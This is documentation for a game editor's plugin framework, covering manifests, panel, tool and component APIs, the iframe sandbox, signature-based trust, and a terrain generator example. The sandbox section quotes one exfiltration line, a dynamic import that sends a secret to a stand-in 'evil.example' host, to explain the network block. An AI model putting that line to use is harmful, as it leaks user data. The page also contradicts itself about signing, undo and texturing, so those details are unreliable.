Plugins
A plugin extends the editor itself with new tools and UI - comparable to a Unity ProBuilder or a procedural terrain tool - and is distributed as a .awakenpkg package that carries one or more plugin scripts plus a manifest describing what they add.
Where an editor script is a one-off tool you run once against the current scene, a plugin is a persistent extension: once enabled it registers panels, commands, viewport tools, components, or importers that stay in the editor's UI until you disable it. The editor ships with one real example of this, the Scatter tool, covered below.
The kind: "plugin" script
A plugin is written as a script asset, same as any runtime or editor script, but with its kind set to "plugin":
ts
interface ScriptAsset {
name: string;
source: string;
kind?: "runtime" | "editor" | "plugin"; // absent = "runtime"
}A kind: "plugin" script is editor-only: it is never compiled as a runtime ScriptBehavior, never appears in the Inspector's Script component picker, and is stripped from every export - game.html and folder builds both filter out kind !== "editor" && kind !== "plugin" scripts before compiling behaviours. A plugin cannot end up in a shipped game by any path.
The module a plugin script compiles to exports three things:
ts
export const manifest: PluginManifest = { /* ... */ };
export function activate(ctx: PluginContext): void | Promise<void> { /* ... */ }
export function deactivate(): void { /* optional */ }manifestis DATA: the plugin's id, name, version, declaredpermissions, andcontributes(which panels/commands/tools/components/importers it adds). It is read without running any of the plugin's other code.activate(ctx)runs once, when the plugin is enabled, and does the actual work: it callsctx.register*for each contribution and wires up behaviour (event handlers, tool logic).deactivate()is optional and best-effort; the editor calls it (if present) before tearing down the plugin's registered contributions.
The manifest
ts
type PluginPermission = "scene:read" | "scene:write" | "assets:read" | "assets:write" | "ui:panel" | "ui:viewport";
interface PluginManifest {
id: string; name: string; version: string;
description?: string; author?: string; engine?: string;
permissions: PluginPermission[];
contributes: {
panels?: { id: string; title: string; controls: unknown[] }[];
commands?: { id: string; title: string; icon?: string; toolbar?: boolean }[];
tools?: { id: string; title: string; cursor?: string }[];
components?: { name: string; fields: { name: string; type: string; default: unknown }[] }[];
importers?: { id: string; extensions: string[] }[];
};
}Every contribution id must be unique across ALL kinds in the manifest - the editor validates this at install/enable time and rejects a duplicate.
permissions is declared and displayed - shown as chips on the plugin's row in the Plugins panel and listed in the consent prompt when you enable it - but it is not enforced in this release. Nothing gates a ctx.scene or ctx.assets call by which permissions the manifest declared; once a plugin is enabled it gets the full PluginContext surface regardless of what it asked for. Treat permissions as documentation for the person reviewing the consent prompt, not a sandbox boundary.
Contributions
A plugin's activate(ctx) registers zero or more of these. Each ctx.register* call returns a disposer, and every disposer also runs automatically when the plugin is disabled - you don't need to call them yourself on teardown.
Panels
ctx.registerPanel(decl, opts?) adds a dockable panel, built from a tree of declarative controls - plain data, not plugin-supplied React - so the editor renders every plugin panel with the same generic widget renderer:
kind | Renders as |
|---|---|
section | A titled group of child controls (same card chrome as an Inspector component) |
label | A line of hint text |
slider | A range input plus a live numeric readout (min / max / step) |
number | A number input |
text | A text input |
checkbox | A checkbox |
dropdown | A <select> built from options: { value, label }[] |
color | A color swatch input |
assetPicker | A <select> listing the project's mesh/material/texture/prefab names, filtered by assetKind |
button | A button that runs a registered command by id |
toolButton | A button that activates a registered viewport tool |
image | A raw RGBA image the plugin writes into panel state: { width, height, data: number[] }, drawn at scale with nearest-neighbour filtering so a 16x16 tile stays pixels rather than blur |
separator | A horizontal rule |
image is the one control the user never edits - the plugin writes it, and it is excluded from the value kinds a panel edit can produce. It is what lets a generator plugin show what it generates rather than only the settings that produce it.
opts.state seeds the panel's initial control values (defaults come from each control's own default, falling back to min for a range control, then a type default). opts.onChange(key, value) fires on every edit. A plugin reads the live values back with ctx.state(panelId).get(key) from inside a tool or command handler.
Commands
ctx.registerCommand({ id, title, icon?, toolbar?, run }) adds an entry to the plugin's submenu in the Toolbar's Windows ▾ menu (shown while the plugin is enabled). A panel's button control can also trigger the same command by id, so a "Clear" button inside your panel and a menu entry can share one run().
Viewport tools
ctx.registerTool({ id, title, cursor?, onPointerDown?, onPointerMove?, onPointerUp?, onActivate?, onDeactivate? }) adds a pointer tool. You activate a tool from the Toolbar's Windows ▾ menu (under the plugin's submenu) or from the plugin's row in the Plugins panel; each is a toggle (re-select it, or press Esc, to deactivate), and its onActivate / onDeactivate hooks fire on the switch. While a tool is active, the Viewport routes every pointer-down/move/up to it instead of its own default camera-orbit/selection handling, and hands each event a ToolPointer:
ts
interface ToolPointer {
ray: { origin: [number, number, number]; dir: [number, number, number] };
hit: { point: [number, number, number]; normal: [number, number, number]; entity?: number } | null;
button: number;
}hit on the event itself still comes from a ray-vs-ground-plane intersection (y = 0), the same fallback the Viewport already uses for drop placement - not a per-mesh pick. hit.normal on this field is therefore always straight up ([0, 1, 0]). For a real surface pick, call ctx.viewport.raycast(e.ray) yourself - it does a per-mesh test now; see below.
Components
ctx.registerComponent(decl, inspector?) adds a data-only ECS component type to the entity registry, so Obj.addComponent(decl.name) can attach it and every field renders through the same generic field editor every built-in component uses in the Inspector - no plugin-specific inspector code runs. Field type is one of "number" | "text" | "checkbox" | "color", mapped onto the engine's richer field types (number / string / bool / color); an unrecognised type falls back to a plain string field rather than failing. The inspector argument is accepted for a future richer schema but unused today.
Importers
ctx.registerImporter({ id, extensions, import }) claims one or more file extensions in the editor's file-open dispatch. The check runs before the built-in .fbx/.gltf/etc. branches, so a plugin can add support for a new extension; it can't override the handling of an extension the editor already imports natively.
Component field hints
A component's declared fields can carry inspector hints: min, max, step and slider: true turn a number field into a range control; a dropdown field with options renders as a real picker; readOnly: true marks a plugin-managed internal the user should see but not edit. The terrain plugin's Terrain component uses all three, which is why selecting a terrain shows the same slider-driven experience as the World panel.
Component actions
A component your plugin registers can declare actions: buttons the Inspector renders at the bottom of that component's card. Each action runs a registered plugin command (command), focuses a dock panel (openPanel), or both. Use them to lead from an object your tool created back to the tool that edits it - the terrain plugin's Terrain component carries a Regenerate action and an Open World panel action, so selecting a generated terrain never dead-ends.
Richer panel controls
Beyond the basic value controls, a panel can declare:
list: a repeating row editor for rule tables. The panel state under the list's key is an array of plain row objects; each row renders the list's declared sub-controls bound to its own fields, and the host provides add, remove and reorder buttons. Any edit writes the whole array back as one state change, so your plugin handles a single key inonChangerather than a row protocol.itemLabelnames the row field shown as each row's title, andnewItemis what an added row starts as. Lists cannot nest.progress: a read-only bar your plugin drives by writing{ value, text }into its panel state during long work, so a slow generate never looks like a hang.image: a read-only pixel preview - write{ width, height, data }(raw RGBA as a plain array) into panel state and the host draws it, nearest-neighbour upscaled byscale.sectionacceptscollapsible: true(and optionallycollapsed: true) so a long panel folds away; the open state is a viewing convenience and never appears in your panel state.
The PluginContext (ctx)
Everything activate(ctx) gets to extend the editor with:
| Member | What it does |
|---|---|
registerPanel(decl, opts?) | Adds a dock panel. Returns a disposer. |
registerCommand(cmd) | Adds an entry to the plugin's Windows ▾ submenu. Returns a disposer. |
registerTool(tool) | Adds a viewport pointer tool. Returns a disposer. |
registerComponent(decl, inspector?) | Adds an ECS component type. Returns a disposer. |
registerImporter(importer) | Claims a file extension. Returns a disposer. |
scene | The EditorApi - the same scene-editing surface editor scripts get: find / all / selection / create / combine / select, object handles with setField / addComponent / setParent / delete, all routed through the project's real undo system. |
assets | addMesh(id, data), addMaterial(id, m), addTexture(id, data), updateMesh(id, positions, normals?), addBlob(id, data) / getBlob(id) / updateBlob(id, rect, slice, resolution), readTexture(id), and instantiatePrefab(name, opts?) (undoable, returns the new root entity's id or -1). |
viewport.raycast(ray) | Casts ray against the scene's meshes and returns the nearest surface hit, or null. See below. |
runGroup(label, fn) | Runs fn, collapsing every edit it makes into one undo entry labeled label - so an entire drag stroke or multi-step operation is a single Ctrl-Z. |
pushUndo(label, doFn, undoFn) | Registers one undoable action directly: doFn runs now (and again on redo), undoFn reverses it. For an edit that isn't itself a ctx.scene/ctx.assets call - see below. |
state(panelId) | { get(key), set(key, value) } against a registered panel's live control values. |
log(...args) | Writes a line to the Console. |
ctx.viewport.raycast(ray) tests every mesh in the scene against its actual triangles (not a bounding box) and returns the nearest hit: { point: [x, y, z], normal: [x, y, z], entity: number }, with the normal following the surface. If the ray hits no mesh it falls back to the ground-plane (y = 0) test, returning { point, normal: [0, 1, 0] } with no entity; it returns null if the ray hits neither. This is a real per-mesh pick - call it with a tool's e.ray to place or paint on the actual surface under the pointer, not just the ground. It's independent of the hit field a viewport tool receives automatically on ToolPointer (still ground-plane only, above); a tool that wants a real surface hit calls ctx.viewport.raycast itself, the way the terrain example plugin does.
ctx.assets.updateMesh(id, positions, normals?) rewrites the positions (and, if given, normals) of a mesh the plugin already created with addMesh, in place: it updates the plugin's own MeshData reference - so a later save uses the new geometry, not the shape from when addMesh was called - and pushes the new buffers to the GPU without a full re-upload. It's for a mesh the plugin deforms after creating it (a heightfield sculpt, a live procedural preview); it's a no-op for a mesh id it doesn't own.
ctx.assets.addBlob(id, data) and ctx.assets.getBlob(id) store and read back a plugin-owned Float32Array or Uint8Array under an id - generic scratch storage for data that isn't itself a mesh/material/texture asset (a heightmap, a lookup table, any baked buffer). A blob is saved into the project's .awaken file, so it survives save and reload the same as any other project asset - but it's editor-only: a blob is never written into an exported game (game.html or a folder build).
ctx.assets.updateBlob(id, rect, slice, resolution) rewrites one rectangular region of a blob the plugin owns, given that region's row-major slice and the blob's grid resolution. The host records the previous contents, so the write is undoable on its own and folds into any open runGroup. For grid data edited in patches - a heightfield brush dab, a stamp - this is both cheaper and more precise than rewriting the whole blob with addBlob, and it is what makes a multi-dab sculpt stroke collapse to a single Ctrl-Z.
ctx.assets.readTexture(id) reads a texture asset's pixels back as RGBA8, row-major, four bytes per pixel and width * height * 4 long. Unlike every other assets method it is not limited to assets the plugin created: it reads any texture in the project, so a plugin can treat an image the user imported as data - a heightmap stamp, a splat mask, a flow map. You get a copy, so writing to it cannot affect the asset store. It throws if the id is unknown, and it throws if the texture has already been block encoded for the current device (there is no path back to RGBA8 from a compressed texture).
ctx.pushUndo(label, doFn, undoFn) is for an edit that doesn't go through ctx.scene/ctx.assets' own undo-tracked calls - a blob or mesh mutation, for instance. Use runGroup to batch several already-undoable calls into one entry; use pushUndo when the edit itself needs a hand-written undo/redo pair.
How a plugin runs: the sandbox
Every plugin runs inside a sandbox. There is no flag, no opt-in, and no development-versus-production branch: bundled, authored and signed third-party plugins all take the same path, so there is no unsandboxed path to keep working.
The sandbox is an opaque-origin iframe (sandbox="allow-scripts", with no allow-same-origin) hosting the plugin's runtime, talking to the editor over a MessagePort with a capability RPC. Everything the plugin can do, it does by asking the host.
Two layers cut off the network:
- The plugin runtime deletes
fetch,XMLHttpRequest,WebSocket,importScriptsandnavigator.sendBeaconfrom its global scope before any plugin code runs. - That JS-level strip has a real hole -
await import("https://evil.example/?" + secret)goes through the module loader rather than any deleted global, and there is no binding to delete that closes it. So the iframe's document CSP forbids network outright:
default-src 'none'; script-src 'unsafe-inline' blob:; worker-src blob:; connect-src 'none'; img-src 'none'; style-src 'none'connect-src 'none' is the actual cutoff, enforced by the browser's fetch layer before a byte leaves, whatever references the plugin still holds. No allow-same-origin means the origin is opaque: no cookies, no localStorage, no IndexedDB, no reaching the parent's DOM or window.top.
A plugin is also rate-limited: a per-tick cap on host calls, and repeated floods terminate it. A panel that fires an unbatched call per pointer-move will hit this, which is a bug in the plugin rather than in the limit.
Trust: who is allowed to run
Trust is decided by provenance and, for third-party packages, by a verified signature. A manifest's own id is never consulted, because it is spoofable.
| Where it came from | Trust | Runs? |
|---|---|---|
| Bundled with the editor | trusted | Yes, sandboxed |
| Authored here - you wrote it, its source is a project script you edit | trusted | Yes, sandboxed |
| Imported from a package whose publisher signature verified against the trust chain | signed | Yes, sandboxed |
| Imported with no valid signature | untrusted | Blocked |
The signed flag is set by verify-at-install, checking a root-anchored certificate chain. It is never read from the manifest.
Since every trust level that runs at all runs in the same sandbox, the distinction is about consent and provenance, not about capability: a signed third-party plugin is not handed a smaller API than a bundled one, it is simply a party you did not have to vet yourself.
Installing never executes an untrusted plugin's code, not even to read its manifest. Every project plugin installs with a static placeholder manifest built from the script asset's id and name ({ id, name, version: "0.0.0", permissions: [], contributes: {} }); real contributions come from activate(ctx). So importing a package, or reopening a project, carrying ten imported plugins runs zero lines of their code.
Provenance is persisted and sticky: an imported plugin stays what it was even if you edit its source. To run someone else's unsigned plugin locally, copy its source into a new authored plugin - you take responsibility by owning it.
Enabling shows a consent prompt ("Enable (plugin name)? It runs code and can modify your project") with a Trust & Enable button, then compiles the script's current source and calls activate(ctx). Editing the script and re-enabling reloads the latest code. Declining leaves it disabled.
📸 Screenshot - save as img/editor-plugins-panel.png
The Plugins panel with three rows: Scatter (bundled, trusted badge, enabled), a signed third-party plugin (signed badge, enabled), and an unsigned imported plugin (untrusted badge, toggle off, error text).
Lifecycle
Teardown
Disabling a running plugin calls its optional deactivate() (best-effort - a broken deactivate() doesn't block teardown of the rest), then disposes every contribution it registered, so its panels/commands/tools/components/importers all disappear from the editor UI at once.
The Plugins panel is the management view. It is not docked by default; open it from Windows ▾ → Plugins. Each row lists an installed plugin: its name, "by author · vversion" (plus "· bundled" for a first-party plugin), a trust badge, its declared permission chips, an enable/disable toggle, and any load or activation error inline. An enabled plugin's row also carries launcher buttons (open its panels, activate its tools). A non-bundled plugin has an Uninstall button that removes it from the project (disables it, drops it from the registry, and deletes its script asset so it does not reinstall on load); a bundled plugin re-registers at startup, so it has no Uninstall.
Enable/disable is also available per plugin in the Windows ▾ menu: a disabled plugin's submenu offers Enable, an enabled one offers Disable above its panels/tools/commands. Uninstall is deliberately kept out of that menu - it is a destructive management action, not something the plugin does, so it lives only in the Plugins panel.
An enabled non-bundled plugin's on/off state is saved into the project bundle's enabledPlugins list and restored (re-activated, skipping the consent prompt) the next time you open that project. Bundled plugins are excluded from that list; they are (re-)enabled automatically every time the editor starts instead.
On a project load, this restore-and-activate step for every enabled plugin runs before the project's scene is deserialized into the world - so a plugin-registered component type (ctx.registerComponent) is already in the editor's component registry by the time a scene entity referencing it is parsed. Registering it later would silently drop that entity's component data. The consequence for activate(ctx): it should only call ctx.register* and set up handlers. It must not synchronously read scene, prefab, or material state during activation - ctx.scene.all(), ctx.scene.find(...), an asset lookup - because on a project load that state isn't applied to the world yet; a read inside activate sees an empty or stale scene. Do that kind of read inside a tool's onPointerDown / onActivate, a command's run, or a panel's onChange instead, all of which run after the editor has finished loading.
The bundled Scatter tool
Scatter (awaken.scatter) is the one plugin that ships with the editor today, and the framework's own dogfood: it exercises panels, a viewport tool, a command, prefab instantiation, and one-undo-per-stroke through the real PluginContext, not a special-cased path.
It contributes:
- A Scatter panel: a prefab assetPicker, Radius and Density sliders, Min scale / Max scale sliders, a Rotation jitter slider, an Align to normal checkbox, and a "Clear last stroke" button.
- A Scatter Brush viewport tool: pick it from Windows ▾ → Scatter (or the Scatter row in the Plugins panel) to activate it, then drag across the ground. It accumulates a ray-ground hit point on every pointer-down/move, then on pointer-up places
densityprefab copies (rounded, minimum 1) near each accumulated point - scattered withinradiusof it using a seeded PRNG (mulberry32, so a given stroke's placement is reproducible), each instance scaled randomly between Min scale and Max scale and yawed by up to Rotation jitter degrees. The whole flush runs inside onectx.runGroup("Scatter", ...)call, so an entire drag - however many prefabs it places - is a single undo entry. - A Clear last stroke command that deletes exactly the entity ids the last flushed stroke placed, itself as one more undo group.
Scatter reads e.hit off the ToolPointer directly rather than calling ctx.viewport.raycast itself, so its hits still come from the ground-plane test described above; Align to normal only ever aligns straight up in this release.
📸 Screenshot - save as img/editor-scatter-tool.png
The Scatter panel open in the dock with a prefab picked and non-default slider values, and the Viewport mid-drag showing a cluster of scattered prefab instances under the brush.
Writing and packaging a plugin
Create a plugin with + New Plugin - from the empty Code panel (alongside New Game Script and New Editor Script), the Code panel sidebar's + menu, or the Asset Browser's Scripts tab. It seeds a kind: "plugin" script from a working template: a manifest declaring one panel and one command, and an activate that registers them. It also installs the plugin (disabled) into the Plugins panel straight away. The Monaco editor injects an additional .d.ts (covering PluginContext, the Control union, and the manifest shape) whenever the open script's kind is "plugin", alongside the usual engine types, so ctx. autocompletes accurately as you write activate.
A plugin you author is trusted (it is your own code), so you can enable and run it locally with no signing: open the Plugins panel, toggle it on, accept the consent prompt, and its panels/tools appear. Iterate by editing the script and re-enabling - that reloads the latest source. See Trust and permissions.
The Plugins panel also has a Load plugin from file button, which reads a local .ts or .js source file from disk and installs it the same way + New Plugin does - as your own authored plugin, at the same trust - distinct from importing a signed .awakenpkg package, which installs untrusted. A plugin loaded this way is enabled and running immediately: picking the file is the consent (it's your own code, and you're the one who selected it), so there's no separate Enable toggle or consent prompt afterward.
A plugin script isn't compiled or run from the Code panel (a plugin is enabled from the Plugins panel, not attached to an object): its action button is Package… instead of Compile/Run. Packaging exports a .awakenpkg to share or publish; note that when someone else imports your package it installs untrusted on their machine (it runs for you because you authored it, but is blocked for them until the signing + sandbox update).
A minimal plugin - a manifest plus an activate that registers one panel and one viewport tool:
ts
export const manifest = {
id: "acme.propstamp",
name: "Prop Stamp",
version: "1.0.0",
permissions: ["scene:write", "assets:write", "ui:panel", "ui:viewport"],
contributes: {
panels: [{ id: "propstamp", title: "Prop Stamp", controls: [] }],
tools: [{ id: "propstamp.brush", title: "Prop Stamp" }],
},
};
export function activate(ctx: PluginContext) {
ctx.registerPanel({
id: "propstamp",
title: "Prop Stamp",
controls: [
{ kind: "assetPicker", key: "prefab", label: "Prefab", assetKind: "prefab" },
],
});
ctx.registerTool({
id: "propstamp.brush",
title: "Prop Stamp",
cursor: "crosshair",
onPointerDown(e) {
const prefab = ctx.state("propstamp").get("prefab");
if (!prefab || !e.hit) return;
ctx.runGroup("Stamp prop", () => {
ctx.assets.instantiatePrefab(String(prefab), { position: e.hit!.point });
});
},
});
}The id (acme.propstamp) doesn't affect trust - provenance does. Authored in your project, this plugin is trusted and runs locally. Packaged and imported by someone else, the same plugin installs untrusted on their machine until the signing + sandbox update. See Trust and permissions.
Once written, open the Create Package dialog and expand its Plugins section, which lists every kind: "plugin" script in the project; select it (and anything it depends on, like a prefab it instantiates) to bundle it into a .awakenpkg for sharing or publishing.
Multi-file plugin sources
A plugin can be written as several source files that import each other. Pick them all in the Plugins panel's Load plugin from file (the input accepts multiple files, or a folder), name the entry point *.plugin.ts or index.ts, and the editor bundles them into one module before compiling. The stored plugin is the bundle, so everything downstream - saving, reloading, signing, the sandbox - behaves exactly as if you had written one file. Editing a multi-file plugin means editing your source files and loading again, the same as any build step.
Only relative imports between your own files resolve. A bare import such as @awaken/core or an npm package name is refused with an error: plugins are standalone by design, and the bundler is where that rule is enforced.
The terrain example plugin is itself authored this way: examples/plugins/terrain/ is a directory of modules (types, heightfield math, stamps, world generation, colour rules, commands, tools) with terrain.plugin.ts as the entry.
The terrain example plugin
examples/plugins/terrain.plugin.ts, in the editor repo, is a Gaia-style heightfield terrain tool distributed as an example - not bundled with the editor - built entirely on the generic APIs above: registerComponent, registerCommand, registerTool, registerPanel, ctx.scene, ctx.assets (addMesh, updateMesh, addBlob, getBlob), ctx.viewport.raycast, and runGroup. Nothing named "terrain" exists anywhere in the engine packages - the heightfield math, the grid-mesh builder, and the undo bookkeeping all live in the plugin file itself.
Load it like any plugin source you write yourself: open the Plugins panel, click Load plugin from file, and pick examples/plugins/terrain.plugin.ts. It installs and starts running immediately. Open Windows ▾ → Terrain for its panel and commands:
- Add terrain to scene (a button in the panel, and a command in the Windows ▾ → Terrain submenu) creates a flat terrain entity: a 129 by 129 vertex grid, 512 metres per side, with a 150 metre height scale.
- Pick a brush tool from Windows ▾ → Terrain - Raise, Lower, Smooth, or Flatten - then set Brush size, Strength, and Falloff in the panel.
- Drag across the terrain in the Viewport to sculpt. Each dab reads the surface hit from
ctx.viewport.raycast(e.ray), so painting follows the terrain's actual, already-deformed surface rather than a flat plane. - Ctrl-Z undoes one whole stroke, not one dab. There is no
ctx.pushUndoin the sandbox (a plugin closure cannot cross the worker boundary): every dab'sctx.assets.updateBlobcall is itself host-reversible, andctx.runGroupfolds all of a stroke's dabs into one composite undo entry. - The height data lives in a plugin blob (
ctx.assets.addBlob), tied to the terrain'sTerraincomponent. Save the project and reopen it: the terrain's shape, heights, and component all persist, so you see the same sculpted terrain you left.
Heightmap stamps
Brushes shape terrain a dab at a time. Stamps apply a whole grayscale heightmap in one placed, rotated, scaled operation, so a landscape gets composed from features - a mountain, a canyon, an island shelf - instead of smeared out by hand. Open Windows then Stamp.
- Pick a stamp under Image. Any texture in the project works; white is high ground and black is low. The plugin reads its pixels with
ctx.assets.readTextureand converts them to heights by luminance, so a tinted export behaves the same as a true grayscale one. - Add stamp places a preview object shaped like the stamp. Move, turn and scale it with the ordinary transform gizmo - it is just a scene object, so there is no special stamp gizmo to learn. Its preview mesh spans a unit footprint, which is why the object's scale is its footprint in metres.
- Operation decides how the stamp combines with what is already there. Max is the one that makes stamps composable: overlapping hills union, so a second stamp does not flatten the first. Raise and Lower add and subtract the stamp's own elevation above its base, so they work the same wherever the stamp sits vertically.
- Edge falloff is what stops a stamp cutting a visible square into the terrain, by fading the stamp out over that fraction of its footprint. The Mask sliders restrict a stamp to a band of existing terrain height, so it can be made to affect only ground already above the shoreline.
- Apply stamp bakes it and removes the preview. A stamp that does not overlap the terrain is left in place instead, so you can reposition it rather than having it silently disappear.
- Road is a tool: click a start point, then an end point. The road finds the least-cost route over the terrain - avoiding steep grades quadratically and crossing water only when the detour would cost more - and flattens its bed into the ground with smooth shoulders. One road is one undo step. On a chunked terrain only the touched chunks rebuild. The bed is not painted yet; the flattened geometry is the road.
- Quick stamp is a tool: click the terrain and the stamp lands at the cursor using the panel's size and turn values, with no preview. It is the faster way to rough in a range of hills. Each click is its own undo entry.
- A stamp can only turn about Y. A heightfield has no way to represent a tilted stamp, so if the object carries X or Z rotation the plugin says so and applies the Y part alone rather than producing something wrong.
- .raw and .r16 heightmap support is written but not reachable yet. Running a sandboxed plugin's importer needs an
importer.importevent that does not exist, so the plugin deliberately does not claim those extensions: claiming them and then failing on use would be worse than leaving them alone. Use a grayscale image in the meantime.
World Designer
Brushes and stamps are both manual. The World Designer generates a whole landscape from a seed. Open Windows then World.
- Seed is the whole contract: the same seed and the same settings always produce exactly the same world, so a world can be shared as a number instead of a file. Randomize seed steps the seed to a new value rather than drawing a random one, so the sequence is reproducible too.
- Shape picks the land mass: Island (a ragged coast, not a circle, because the falloff radius is modulated by noise), Archipelago (broken into separate masses), Continent, Valley, or No shape for raw noise edge to edge.
- Distortion bends the coordinates the noise is sampled at before anything else runs. It is a small setting with a large effect: it is the difference between coastlines and ridge lines that look obviously generated and ones that read as geology. If a world looks synthetic, raise this first.
- Mountain ridges blends between rolling hills at 0 and sharp mountain spines at 1.
- Mountains, Hills and Flat lands are the three region sliders. They are mix weights of a control-map partition, not amplitude knobs: moving one reshapes WHERE each kind of terrain sits. Mountains follow generated range lines, so they arrive as ranges with a shared direction instead of wherever noise happens to peak.
- Natural coastline shapes the waterline as a landform: a wide gentle shelf under the water and a flattened beach band at the shore. Without it an island meets the sea like a drain.
- Rock detail adds high-frequency roughness to steep faces only, leaving valley floors smooth.
- Rivers and Lakes are real hydrology, not noise: the generator floods every basin to its exact spill level (that difference is the lakes), traces where water drains with flow accumulation over the flooded surface (so lakes feed their outlets), and carves channels where enough flow gathers, deepening with the logarithm of the flow. Water is real translucent geometry: a sea sheet at sea level and a hugging mesh per lake at its spill level, with animated swell, fresnel, depth fade and shoreline foam. Lake beds stay basins and bake as wet sand under the surface.
- Ground textures blends four generated tiling detail textures - grass, strata rock, sand, snow - per PIXEL, from a control map baked off the terrain's own height, slope and wetness rules. Tiles repeat about every 1.5 metres from a texture atlas, steep faces switch to triplanar rock sampling so cliffs never stretch, and a normal map baked from the heightfield gives the ground real relief under grazing light. All of it happens in a regular material and per-object texture slots - no renderer changes. Turn it off (or use Low poly) for flat vertex colour instead.
- Rain drops is erosion, and it is the expensive dial. Droplets run downhill carrying sediment and dropping it where slopes flatten, which carves branching valleys and lays sediment fans. No amount of noise tuning produces either. Set it to 0 to skip erosion while you are still choosing a shape, then raise it for the final generate. On large worlds erosion runs at a reduced resolution and is upsampled - it carves valley-scale structure, which survives the upsample, and it keeps a big generate in seconds instead of minutes. A thermal pass afterwards sheds anything steeper than a talus angle, which is what builds scree slopes and flat valley floors.
- Sea level sets the waterline, optionally flattening everything below it. It is also the reference that later biome rules will read.
- Scattered stamps places copies of whatever stamp is picked in the Stamp panel, blended with Max so overlapping mountains union instead of the last one flattening its neighbours.
- Every setting Generate used is stamped onto the terrain's own Terrain component: select the terrain and the seed, shape, sliders and water options are all in the Inspector, editable and saved with the scene. The component's Regenerate button rebuilds from those values, and Open World panel jumps to the full panel.
- Drop selection on ground moves whatever you have selected to just above the terrain surface under it - the cure for a player spawned inside a hillside, which blocks every movement sweep and reads as "the controller is broken" with no error anywhere.
- Vegetation grows four rule-placed layers - broadleaf stands, pines toward the treeline, boulders, and grass tufts - each baked into one merged low-poly mesh, grouped into natural stands, never in standing water, with a density slider.
- Scenic look dresses the scene on generate: distance fog toned to the horizon, a sky gradient, gentle bloom, and a low sun for long shadows. Turn it off to keep your own lighting untouched.
- Generate world creates the terrain if there is none, fills it if its size and resolution already match, and replaces it if they do not. All three are a single undo step. If the terrain being replaced has child objects, the plugin refuses and says so rather than deleting whatever was parented to it.
At resolutions of 257 and above, Generate builds the terrain as a parent with chunk children instead of one huge mesh. Each chunk carries three detail levels through the engine's own LodGroup component, so distant chunks draw far fewer triangles and the camera's frustum can cull chunks individually. Stamps rebuild only the chunks they touch. Chunk edges wear short downward skirts, which is what hides the cracks where a coarse chunk meets a fine one. Sculpt brushes do not work on chunked terrains yet - use stamps, or generate at 129 for a hand-sculptable single mesh.
Generation runs inside the sandbox worker, so a long erosion pass does not freeze the editor. There is no progress readout, because the plugin UI has no progress control yet.
The Look section colours the world as it generates. Colour rules paint per-vertex colour from height bands (sand, grass, rock, snow), turn steep faces to bare rock whatever the band says, darken gullies, and jitter the band boundaries with seeded noise so they do not draw hard contour lines. Low poly builds a flat-shaded faceted mesh instead - one colour per triangle, with an optional Terraces slider that snaps heights into steps - which matches stylised art packs. Recolour terrain reapplies the rules to the existing terrain without regenerating it, as a single undo step.
Colour needed one small generic engine addition: assets.updateMesh gained an optional colors parameter, so a plugin can recolour a mesh in place the same way it already deformed one. Per-vertex colour only applies on untextured materials; a bound texture takes precedence.
Worth noting for anyone building their own plugin: the World Designer needed no new engine capability at all. Terrain sculpting (C1) added six generic plugin APIs and stamps (C2) added one; a full procedural world generator on top of them added none. Everything above is noise, masks, erosion and the existing ctx.assets write path.
The terrain is grey and untextured in this version - there's no material or texture painting.
See also
- Editor-Only Scripts - the simpler one-off tool a plugin's
ctx.scenesurface is built on - Scripting Overview - runtime vs editor vs plugin script kinds
- Asset Browser - where installed content, including plugin scripts, lives in your project
- Prefabs - what
ctx.assets.instantiatePrefabplaces, and how a prefab becomes its own.awakenpkg - Console - where a plugin's
ctx.log(...)output and activation errors appear